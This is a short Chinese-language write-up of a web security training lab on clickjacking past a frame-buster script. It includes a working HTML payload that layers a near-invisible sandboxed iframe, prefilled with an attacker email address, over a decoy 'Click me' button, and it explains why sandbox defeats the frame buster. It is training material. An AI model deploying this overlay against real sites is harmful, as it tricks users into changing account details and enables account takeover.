# Clickjacking Lab3
這題差別在於目標網站加了 frame buster script,想防止被 iframe 載入。
一樣先進入網站。

登入題目給的帳密後,可以看到有上傳 email 選項,但為了讓使用者可以點上傳 email ,我們要在上面覆蓋一個區塊,所以要寫個 HTML。

只要寫一個假的按鈕後,上面再疊一個透明的惡意按鈕,這樣使用者只會看到下層的按鈕,但觸發的效果是上層惡意按鈕的行為。
```html=
<style>
iframe {
position:relative;
width:700px;
height: 500px;
opacity: 0.00000000000000001;
z-index: 2;
}
div {
position:absolute;
top:441px;
left:54px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://0a86005c035a1bd4816490e200200013.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>
```
和上題的差別在於多了 `sandbox="allow-forms"`
然後調數字調到 Click me 的文字在 upload email 上面這題就結束了。

:::info
### 為什麼還可以 iframe + sandbox?
sandbox 是由你主動設限的,網站沒法阻止,等於你告訴瀏覽器:
「這個 iframe 很安全!我自己主動限制它什麼都不能做,只有允許送出表單,我不是要執行惡意 JS、操控 parent,請放過我!」
所以,如果目標網站沒有設 X-Frame-Options 或 CSP frame-ancestors,又主動 sandbox 這個 iframe,那麼瀏覽器就會說:
「好啦,這 iframe 看起來很安全,我就讓你載吧。」
:::
---